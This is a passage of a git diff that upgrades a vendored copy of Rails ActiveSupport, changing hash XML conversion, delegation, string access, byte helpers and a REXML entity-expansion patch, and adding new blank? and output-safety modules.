+        end
 
         XML_TYPE_NAMES = {
           "Symbol"     => "symbol",
@@ -49,11 +32,12 @@ module ActiveSupport #:nodoc:
           "Bignum"     => "integer",
           "BigDecimal" => "decimal",
           "Float"      => "float",
+          "TrueClass"  => "boolean",
+          "FalseClass" => "boolean",
           "Date"       => "date",
           "DateTime"   => "datetime",
           "Time"       => "datetime",
-          "TrueClass"  => "boolean",
-          "FalseClass" => "boolean"
+          "ActiveSupport::TimeWithZone" => "datetime"
         } unless defined?(XML_TYPE_NAMES)
 
         XML_FORMATTING = {
@@ -100,7 +84,7 @@ module ActiveSupport #:nodoc:
         # Converts a hash into a string suitable for use as a URL query string. An optional <tt>namespace</tt> can be
         # passed to enclose the param names (see example below).
         #
-        # ==== Example:
+        # ==== Examples
         #   { :name => 'David', :nationality => 'Danish' }.to_query # => "name=David&nationality=Danish"
         #
         #   { :name => 'David', :nationality => 'Danish' }.to_query('user') # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
@@ -113,12 +97,14 @@ module ActiveSupport #:nodoc:
         alias_method :to_param, :to_query
 
         def to_xml(options = {})
+          require 'builder' unless defined?(Builder)
+
+          options = options.dup
           options[:indent] ||= 2
           options.reverse_merge!({ :builder => Builder::XmlMarkup.new(:indent => options[:indent]),
                                    :root => "hash" })
           options[:builder].instruct! unless options.delete(:skip_instruct)
-          dasherize = !options.has_key?(:dasherize) || options[:dasherize]
-          root = dasherize ? options[:root].to_s.dasherize : options[:root].to_s
+          root = rename_key(options[:root].to_s, options)
 
           options[:builder].__send__(:method_missing, root) do
             each do |key, value|
@@ -145,7 +131,7 @@ module ActiveSupport #:nodoc:
                   else
                     type_name = XML_TYPE_NAMES[value.class.name]
 
-                    key = dasherize ? key.to_s.dasherize : key.to_s
+                    key = rename_key(key.to_s, options)
 
                     attributes = options[:skip_types] || value.nil? || type_name.nil? ? { } : { :type => type_name }
                     if value.nil?
@@ -165,15 +151,17 @@ module ActiveSupport #:nodoc:
 
         end
 
+        def rename_key(key, options = {})
+          camelize  = options.has_key?(:camelize) ? options[:camelize]   : ActiveSupport.camelize_xml
+          dasherize = options.has_key?(:dasherize) ? options[:dasherize] : ActiveSupport.dasherize_xml
+          key = key.camelize if camelize
+          key = key.dasherize if dasherize
+          key
+        end
+
         module ClassMethods
           def from_xml(xml)
-            # TODO: Refactor this into something much cleaner that doesn't rely on XmlSimple
-            typecast_xml_value(undasherize_keys(XmlSimple.xml_in_string(xml,
-              'forcearray'   => false,
-              'forcecontent' => true,
-              'keeproot'     => true,
-              'contentkey'   => '__content__')
-            ))
+            typecast_xml_value(unrename_keys(XmlMini.parse(xml)))
           end
 
           private
@@ -239,15 +227,15 @@ module ActiveSupport #:nodoc:
               end
             end
 
-            def undasherize_keys(params)
+            def unrename_keys(params)
               case params.class.to_s
                 when "Hash"
                   params.inject({}) do |h,(k,v)|
-                    h[k.to_s.tr("-", "_")] = undasherize_keys(v)
+                    h[k.to_s.tr("-", "_")] = unrename_keys(v)
                     h
                   end
                 when "Array"
-                  params.map { |v| undasherize_keys(v) }
+                  params.map { |v| unrename_keys(v) }
                 else
                   params
               end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index c96c5160..34ba8a00 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -91,6 +91,12 @@ class HashWithIndifferentAccess < Hash
     self.dup.update(hash)
   end
 
+  # Performs the opposite of merge, with the keys and values from the first hash taking precedence over the second.
+  # This overloaded definition prevents returning a regular hash, if reverse_merge is called on a HashWithDifferentAccess.
+  def reverse_merge(other_hash)
+    super other_hash.with_indifferent_access
+  end
+
   # Removes a specified key from the hash.
   def delete(key)
     super(convert_key(key))
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/keys.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/keys.rb
index 7312bcb4..af9d372d 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -38,7 +38,7 @@ module ActiveSupport #:nodoc:
         # Note that keys are NOT treated indifferently, meaning if you use strings for keys but assert symbols
         # as keys, this will fail.
         #
-        # ==== Examples:
+        # ==== Examples
         #   { :name => "Rob", :years => "28" }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key(s): years"
         #   { :name => "Rob", :age => "28" }.assert_valid_keys("name", "age") # => raises "ArgumentError: Unknown key(s): name, age"
         #   { :name => "Rob", :age => "28" }.assert_valid_keys(:name, :age) # => passes, raises nothing
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/slice.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/slice.rb
index 88df49a6..d845a6d8 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -24,10 +24,17 @@ module ActiveSupport #:nodoc:
         end
 
         # Replaces the hash with only the given keys.
+        # Returns a hash contained the removed key/value pairs
+        #   {:a => 1, :b => 2, :c => 3, :d => 4}.slice!(:a, :b) # => {:c => 3, :d =>4}
         def slice!(*keys)
-          replace(slice(*keys))
+          keys = keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
+          omit = slice(*self.keys - keys)
+          hash = slice(*keys)
+          replace(hash)
+          omit
         end
       end
     end
   end
 end
+
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/debugger.rb b/vendor/rails/activesupport/lib/active_support/core_ext/kernel/debugger.rb
index 4007a647..59e03e3d 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/debugger.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/kernel/debugger.rb
@@ -2,12 +2,15 @@ module Kernel
   unless respond_to?(:debugger)
     # Starts a debugging session if ruby-debug has been loaded (call script/server --debugger to do load it).
     def debugger
-      Rails.logger.info "\n***** Debugger requested, but was not available: Start server with --debugger to enable *****\n"
+      message = "\n***** Debugger requested, but was not available: Start server with --debugger to enable *****\n"
+      defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message)
     end
   end
 
+  undef :breakpoint if respond_to?(:breakpoint)
   def breakpoint
-    Rails.logger.info "\n***** The 'breakpoint' command has been renamed 'debugger' -- please change *****\n"
+    message = "\n***** The 'breakpoint' command has been renamed 'debugger' -- please change *****\n"
+    defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message)
     debugger
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/logger.rb b/vendor/rails/activesupport/lib/active_support/core_ext/logger.rb
index c6225548..858da7aa 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/logger.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/logger.rb
@@ -3,12 +3,12 @@
 class Logger
   def self.define_around_helper(level)
     module_eval <<-end_eval
-      def around_#{level}(before_message, after_message, &block)
-        self.#{level}(before_message)
-        return_value = block.call(self)
-        self.#{level}(after_message)
-        return return_value
-      end
+      def around_#{level}(before_message, after_message, &block)  # def around_debug(before_message, after_message, &block)
+        self.#{level}(before_message)                             #   self.debug(before_message)
+        return_value = block.call(self)                           #   return_value = block.call(self)
+        self.#{level}(after_message)                              #   self.debug(after_message)
+        return return_value                                       #   return return_value
+      end                                                         # end
     end_eval
   end
   [:debug, :info, :error, :fatal].each {|level| define_around_helper(level) }
@@ -30,6 +30,8 @@ require 'logger'
 #
 # Note: This logger is deprecated in favor of ActiveSupport::BufferedLogger
 class Logger
+  ##
+  # :singleton-method:
   # Set to false to disable the silencer
   cattr_accessor :silencer
   self.silencer = true
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/aliasing.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/aliasing.rb
index e640f645..10fa520b 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/aliasing.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/module/aliasing.rb
@@ -64,9 +64,9 @@ module ActiveSupport
       #   e.title    # => "Megastars"
       def alias_attribute(new_name, old_name)
         module_eval <<-STR, __FILE__, __LINE__+1
-          def #{new_name}; self.#{old_name}; end
-          def #{new_name}?; self.#{old_name}?; end
-          def #{new_name}=(v); self.#{old_name} = v; end
+          def #{new_name}; self.#{old_name}; end          # def subject; self.title; end
+          def #{new_name}?; self.#{old_name}?; end        # def subject?; self.title?; end
+          def #{new_name}=(v); self.#{old_name} = v; end  # def subject=(v); self.title = v; end
         STR
       end
     end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb
index 683789d8..4d0198f0 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb
@@ -22,10 +22,10 @@ class Module
     raise 'Default value or block required' unless !default.nil? || block
     define_method(sym, block_given? ? block : Proc.new { default })
     module_eval(<<-EVAL, __FILE__, __LINE__)
-      def #{sym}=(value)
-        class << self; attr_reader :#{sym} end
-        @#{sym} = value
-      end
+      def #{sym}=(value)                        # def age=(value)
+        class << self; attr_reader :#{sym} end  #   class << self; attr_reader :age end
+        @#{sym} = value                         #   @age = value
+      end                                       # end
     EVAL
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 51e1c9af..9359b22b 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -1,3 +1,5 @@
+require "active_support/core_ext/array"
+
 # Extends the module object with module and instance accessors for class attributes, 
 # just like the native attr* accessors for instance attributes.
 #
@@ -15,17 +17,17 @@ class Module
     syms.each do |sym|
       next if sym.is_a?(Hash)
       class_eval(<<-EOS, __FILE__, __LINE__)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-        
-        def self.#{sym}
-          @@#{sym}
-        end
-
-        def #{sym}
-          @@#{sym}
-        end
+        unless defined? @@#{sym}  # unless defined? @@pagination_options
+          @@#{sym} = nil          #   @@pagination_options = nil
+        end                       # end
+                                  #
+        def self.#{sym}           # def self.pagination_options
+          @@#{sym}                #   @@pagination_options
+        end                       # end
+                                  #
+        def #{sym}                # def pagination_options
+          @@#{sym}                #   @@pagination_options
+        end                       # end
       EOS
     end
   end
@@ -34,19 +36,19 @@ class Module
     options = syms.extract_options!
     syms.each do |sym|
       class_eval(<<-EOS, __FILE__, __LINE__)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-        
-        def self.#{sym}=(obj)
-          @@#{sym} = obj
-        end
-        
-        #{"
-        def #{sym}=(obj)
-          @@#{sym} = obj
-        end
-        " unless options[:instance_writer] == false }
+        unless defined? @@#{sym}                       # unless defined? @@pagination_options
+          @@#{sym} = nil                               #   @@pagination_options = nil
+        end                                            # end
+                                                       #
+        def self.#{sym}=(obj)                          # def self.pagination_options=(obj)
+          @@#{sym} = obj                               #   @@pagination_options = obj
+        end                                            # end
+                                                       #
+        #{"                                            #
+        def #{sym}=(obj)                               # def pagination_options=(obj)
+          @@#{sym} = obj                               #   @@pagination_options = obj
+        end                                            # end
+        " unless options[:instance_writer] == false }  # # instance writer above is generated unless options[:instance_writer] == false
       EOS
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/delegation.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/delegation.rb
index 2905eebc..d7796fcd 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -72,6 +72,30 @@ class Module
   #   invoice.customer_name    # => "John Doe"
   #   invoice.customer_address # => "Vimmersvej 13"
   #
+  # If the object to which you delegate can be nil, you may want to use the
+  # :allow_nil option. In that case, it returns nil instead of raising a
+  # NoMethodError exception:
+  #
+  #  class Foo
+  #    attr_accessor :bar
+  #    def initialize(bar = nil)
+  #      @bar = bar
+  #    end
+  #    delegate :zoo, :to => :bar
+  #  end
+  #
+  #  Foo.new.zoo   # raises NoMethodError exception (you called nil.zoo)
+  #
+  #  class Foo
+  #    attr_accessor :bar
+  #    def initialize(bar = nil)
+  #      @bar = bar
+  #    end
+  #    delegate :zoo, :to => :bar, :allow_nil => true
+  #  end
+  #
+  #  Foo.new.zoo   # returns nil
+  #
   def delegate(*methods)
     options = methods.pop
     unless options.is_a?(Hash) && to = options[:to]
@@ -84,11 +108,27 @@ class Module
 
     prefix = options[:prefix] && "#{options[:prefix] == true ? to : options[:prefix]}_"
 
+    file, line = caller.first.split(':', 2)
+    line = line.to_i
+
     methods.each do |method|
-      module_eval(<<-EOS, "(__DELEGATION__)", 1)
-        def #{prefix}#{method}(*args, &block)
-          #{to}.__send__(#{method.inspect}, *args, &block)
+      on_nil =
+        if options[:allow_nil]
+          'return'
+        else
+          %(raise "#{prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
         end
+
+      module_eval(<<-EOS, file, line)
+        def #{prefix}#{method}(*args, &block)               # def customer_name(*args, &block)
+          #{to}.__send__(#{method.inspect}, *args, &block)  #   client.__send__(:name, *args, &block)
+        rescue NoMethodError                                # rescue NoMethodError
+          if #{to}.nil?                                     #   if client.nil?
+            #{on_nil}
+          else                                              #   else
+            raise                                           #     raise
+          end                                               #   end
+        end                                                 # end
       EOS
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/model_naming.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/model_naming.rb
index 3ec4f3ba..9686be01 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/model_naming.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/module/model_naming.rb
@@ -1,13 +1,15 @@
 module ActiveSupport
   class ModelName < String
-    attr_reader :singular, :plural, :cache_key, :partial_path
+    attr_reader :singular, :plural, :element, :collection, :partial_path
+    alias_method :cache_key, :collection
 
     def initialize(name)
       super
-      @singular = underscore.tr('/', '_').freeze
-      @plural = @singular.pluralize.freeze
-      @cache_key = tableize.freeze
-      @partial_path = "#{@cache_key}/#{demodulize.underscore}".freeze
+      @singular = ActiveSupport::Inflector.underscore(self).tr('/', '_').freeze
+      @plural = ActiveSupport::Inflector.pluralize(@singular).freeze
+      @element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self)).freeze
+      @collection = ActiveSupport::Inflector.tableize(self).freeze
+      @partial_path = "#{@collection}/#{@element}".freeze
     end
   end
 
@@ -16,7 +18,7 @@ module ActiveSupport
       # Returns an ActiveSupport::ModelName object for module. It can be
       # used to retrieve all kinds of naming-related information.
       def model_name
-        @model_name ||= ModelName.new(name)
+        @model_name ||= ::ActiveSupport::ModelName.new(name)
       end
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb
index 25160602..069db3fe 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb
@@ -26,11 +26,11 @@ class Module
       end
 
       module_eval(<<-EOS, __FILE__, __LINE__)
-        def #{aliased_method}_with_synchronization#{punctuation}(*args, &block)
-          #{with}.synchronize do
-            #{aliased_method}_without_synchronization#{punctuation}(*args, &block)
-          end
-        end
+        def #{aliased_method}_with_synchronization#{punctuation}(*args, &block)     # def expire_with_synchronization(*args, &block)
+          #{with}.synchronize do                                                    #   @@lock.synchronize do
+            #{aliased_method}_without_synchronization#{punctuation}(*args, &block)  #     expire_without_synchronization(*args, &block)
+          end                                                                       #   end
+        end                                                                         # end
       EOS
 
       alias_method_chain method, :synchronization
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/name_error.rb b/vendor/rails/activesupport/lib/active_support/core_ext/name_error.rb
index 49176c12..57621b94 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/name_error.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/name_error.rb
@@ -2,7 +2,9 @@
 class NameError #:nodoc:  
   # Add a method to obtain the missing name from a NameError.
   def missing_name
-    $1 if /((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/ =~ message
+    if /undefined local variable or method/ !~ message
+      $1 if /((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/ =~ message
+    end
   end
   
   # Was this exception raised because the given name was missing?
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/numeric/bytes.rb b/vendor/rails/activesupport/lib/active_support/core_ext/numeric/bytes.rb
index 56477673..d3ff615e 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/numeric/bytes.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/numeric/bytes.rb
@@ -3,41 +3,47 @@ module ActiveSupport #:nodoc:
     module Numeric #:nodoc:
       # Enables the use of byte calculations and declarations, like 45.bytes + 2.6.megabytes
       module Bytes
+        KILOBYTE = 1024
+        MEGABYTE = KILOBYTE * 1024
+        GIGABYTE = MEGABYTE * 1024
+        TERABYTE = GIGABYTE * 1024
+        PETABYTE = TERABYTE * 1024
+        EXABYTE  = PETABYTE * 1024
+
         def bytes
           self
         end
         alias :byte :bytes
 
         def kilobytes
-          self * 1024
+          self * KILOBYTE
         end
         alias :kilobyte :kilobytes
 
         def megabytes
-          self * 1024.kilobytes
+          self * MEGABYTE
         end
         alias :megabyte :megabytes
 
         def gigabytes
-          self * 1024.megabytes 
+          self * GIGABYTE
         end
         alias :gigabyte :gigabytes
 
         def terabytes
-          self * 1024.gigabytes
+          self * TERABYTE
         end
         alias :terabyte :terabytes
-        
+
         def petabytes
-          self * 1024.terabytes
+          self * PETABYTE
         end
         alias :petabyte :petabytes
-        
+
         def exabytes
-          self * 1024.petabytes
+          self * EXABYTE
         end
         alias :exabyte :exabytes
-        
       end
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object.rb
index 0796a7b7..f140be3c 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/object.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/conversions'
 require 'active_support/core_ext/object/extending'
 require 'active_support/core_ext/object/instance_variables'
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/blank.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/blank.rb
new file mode 100644
index 00000000..9a1f663b
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -0,0 +1,58 @@
+class Object
+  # An object is blank if it's false, empty, or a whitespace string.
+  # For example, "", "   ", +nil+, [], and {} are blank.
+  #
+  # This simplifies
+  #
+  #   if !address.nil? && !address.empty?
+  #
+  # to
+  #
+  #   if !address.blank?
+  def blank?
+    respond_to?(:empty?) ? empty? : !self
+  end
+
+  # An object is present if it's not blank.
+  def present?
+    !blank?
+  end
+end
+
+class NilClass #:nodoc:
+  def blank?
+    true
+  end
+end
+
+class FalseClass #:nodoc:
+  def blank?
+    true
+  end
+end
+
+class TrueClass #:nodoc:
+  def blank?
+    false
+  end
+end
+
+class Array #:nodoc:
+  alias_method :blank?, :empty?
+end
+
+class Hash #:nodoc:
+  alias_method :blank?, :empty?
+end
+
+class String #:nodoc:
+  def blank?
+    self !~ /\S/
+  end
+end
+
+class Numeric #:nodoc:
+  def blank?
+    false
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/conversions.rb
index ad752f0f..278b856c 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/conversions.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/object/conversions.rb
@@ -9,6 +9,7 @@ class Object
   #
   # Note: This method is defined as a default implementation for all Objects for Hash#to_query to work.
   def to_query(key)
+    require 'cgi' unless defined?(CGI) && defined?(CGI::escape)
     "#{CGI.escape(key.to_s)}=#{CGI.escape(to_param.to_s)}"
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/misc.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/misc.rb
index cd0a04d3..4acdfa3d 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/misc.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/object/misc.rb
@@ -40,6 +40,21 @@ class Object
     value
   end
 
+  # Yields <code>x</code> to the block, and then returns <code>x</code>.
+  # The primary purpose of this method is to "tap into" a method chain,
+  # in order to perform operations on intermediate results within the chain.
+  #
+  #   (1..10).tap { |x| puts "original: #{x.inspect}" }.to_a.
+  #     tap    { |x| puts "array: #{x.inspect}" }.
+  #     select { |x| x%2 == 0 }.
+  #     tap    { |x| puts "evens: #{x.inspect}" }.
+  #     map    { |x| x*x }.
+  #     tap    { |x| puts "squares: #{x.inspect}" }
+  def tap
+    yield self
+    self
+  end unless Object.respond_to?(:tap)
+
   # An elegant way to factor duplication out of options passed to a series of
   # method calls. Each method called in the block, with the block variable as
   # the receiver, will have its options merged with the default +options+ hash
@@ -71,4 +86,5 @@ class Object
   def acts_like?(duck)
     respond_to? "acts_like_#{duck}?"
   end
+
 end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/range/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/range/conversions.rb
index 932bdeda..45b0826b 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/range/conversions.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/range/conversions.rb
@@ -15,7 +15,7 @@ module ActiveSupport #:nodoc:
         end
         # Gives a human readable format of the range.
         #
-        # ==== Example: 
+        # ==== Example
         # 
         #   [1..100].to_formatted_s # => "1..100"
         def to_formatted_s(format = :default)
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/rexml.rb b/vendor/rails/activesupport/lib/active_support/core_ext/rexml.rb
index d19d75d9..b4891a91 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/rexml.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/rexml.rb
@@ -1,34 +1,39 @@
-require 'rexml/document'
-require 'rexml/entity'
-
 # Fixes the rexml vulnerability disclosed at:
 # http://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/
 # This fix is identical to rexml-expansion-fix version 1.0.1
+require 'rexml/rexml'
 
 # Earlier versions of rexml defined REXML::Version, newer ones REXML::VERSION
-unless REXML::Document.respond_to?(:entity_expansion_limit=)
-  module REXML
-    class Entity < Child
-      undef_method :unnormalized
-      def unnormalized
-        document.record_entity_expansion! if document
-        v = value()
-        return nil if v.nil?
-        @unnormalized = Text::unnormalize(v, parent)
-        @unnormalized
-      end
-    end
-    class Document < Element
-      @@entity_expansion_limit = 10_000
-      def self.entity_expansion_limit= val
-        @@entity_expansion_limit = val
-      end
+unless (defined?(REXML::VERSION) ? REXML::VERSION : REXML::Version) > "3.1.7.2"
+  require 'rexml/document'
 
-      def record_entity_expansion!
-        @number_of_expansions ||= 0
-        @number_of_expansions += 1
-        if @number_of_expansions > @@entity_expansion_limit
-          raise "Number of entity expansions exceeded, processing aborted."
+  # REXML in 1.8.7 has the patch but didn't update Version from 3.1.7.2.
+  unless REXML::Document.respond_to?(:entity_expansion_limit=)
+    require 'rexml/entity'
+
+    module REXML
+      class Entity < Child
+        undef_method :unnormalized
+        def unnormalized
+          document.record_entity_expansion! if document
+          v = value()
+          return nil if v.nil?
+          @unnormalized = Text::unnormalize(v, parent)
+          @unnormalized
+        end
+      end
+      class Document < Element
+        @@entity_expansion_limit = 10_000
+        def self.entity_expansion_limit= val
+          @@entity_expansion_limit = val
+        end
+
+        def record_entity_expansion!
+          @number_of_expansions ||= 0
+          @number_of_expansions += 1
+          if @number_of_expansions > @@entity_expansion_limit
+            raise "Number of entity expansions exceeded, processing aborted."
+          end
         end
       end
     end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string.rb
index 16c544a5..7f88d97b 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/string.rb
@@ -1,6 +1,7 @@
 # encoding: utf-8
 
 require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/string/bytesize'
 require 'active_support/core_ext/string/conversions'
 require 'active_support/core_ext/string/access'
 require 'active_support/core_ext/string/starts_ends_with'
@@ -9,6 +10,7 @@ require 'active_support/core_ext/string/multibyte'
 require 'active_support/core_ext/string/xchar'
 require 'active_support/core_ext/string/filters'
 require 'active_support/core_ext/string/behavior'
+require 'active_support/core_ext/string/output_safety'
 
 class String #:nodoc:
   include ActiveSupport::CoreExtensions::String::Access
@@ -19,4 +21,5 @@ class String #:nodoc:
   include ActiveSupport::CoreExtensions::String::Iterators
   include ActiveSupport::CoreExtensions::String::Behavior
   include ActiveSupport::CoreExtensions::String::Multibyte
+  include ActiveSupport::CoreExtensions::String::OutputSafety
 end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/access.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/access.rb
index 7fb21fa4..e806b321 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/string/access.rb
@@ -41,9 +41,15 @@ module ActiveSupport #:nodoc:
           #   "hello".first(2)  # => "he"
           #   "hello".first(10) # => "hello"
           def first(limit = 1)
-            mb_chars[0..(limit - 1)].to_s
+            if limit == 0
+              ''
+            elsif limit >= size
+              self
+            else
+              mb_chars[0...limit].to_s
+            end
           end
-          
+
           # Returns the last character of the string or the last +limit+ characters.
           #
           # Examples: 
@@ -51,7 +57,13 @@ module ActiveSupport #:nodoc:
           #   "hello".last(2)  # => "lo"
           #   "hello".last(10) # => "hello"
           def last(limit = 1)
-            (mb_chars[(-limit)..-1] || self).to_s
+            if limit == 0
+              ''
+            elsif limit >= size
+              self
+            else
+              mb_chars[(-limit)..-1].to_s
+            end
           end
         end
       else
@@ -69,11 +81,23 @@ module ActiveSupport #:nodoc:
           end
 
           def first(limit = 1)
-            self[0..(limit - 1)]
+            if limit == 0
+              ''
+            elsif limit >= size
+              self
+            else
+              to(limit - 1)
+            end
           end
 
           def last(limit = 1)
-            from(-limit) || self
+            if limit == 0
+              ''
+            elsif limit >= size
+              self
+            else
+              from(-limit)
+            end
           end
         end
       end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/bytesize.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/bytesize.rb
new file mode 100644
index 00000000..ed051b92
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/string/bytesize.rb
@@ -0,0 +1,5 @@
+unless '1.9'.respond_to?(:bytesize)
+  class String
+    alias :bytesize :size
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb
index de99fe57..48e812aa 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -1,4 +1,4 @@
-require 'active_support/inflector'
+require 'active_support/inflector' unless defined?(ActiveSupport::Inflector)
 
 module ActiveSupport #:nodoc:
   module CoreExtensions #:nodoc:
@@ -102,8 +102,8 @@ module ActiveSupport #:nodoc:
         # 
         #   <%= link_to(@person.name, person_path %>
         #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
-        def parameterize
-          Inflector.parameterize(self)
+        def parameterize(sep = '-')
+          Inflector.parameterize(self, sep)
         end
 
         # Creates the name of a table like Rails does for models to table names. This method
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/iterators.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/iterators.rb
index 66a08a5c..fe17d140 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/iterators.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/string/iterators.rb
@@ -13,7 +13,9 @@ module ActiveSupport #:nodoc:
         # When $KCODE = 'UTF8', multi-byte characters are yielded appropriately.
         def each_char
           scanner, char = StringScanner.new(self), /./mu
-          loop { yield(scanner.scan(char) || break) }
+          while c = scanner.scan(char)
+            yield c
+          end
         end
       end
     end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb
new file mode 100644
index 00000000..f05650eb
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -0,0 +1,48 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      module OutputSafety
+        def self.included(base)
+          base.class_eval do
+            alias_method :add_without_safety, :+
+            alias_method :+, :add_with_safety
+            alias_method_chain :concat, :safety
+            undef_method :<<
+            alias_method :<<, :concat_with_safety
+          end
+        end
+
+        def html_safe?
+          defined?(@_rails_html_safe) && @_rails_html_safe
+        end
+
+        def html_safe!
+          @_rails_html_safe = true
+          self
+        end
+
+        def add_with_safety(other)
+          result = add_without_safety(other)
+          if html_safe? && also_html_safe?(other)
+            result.html_safe!
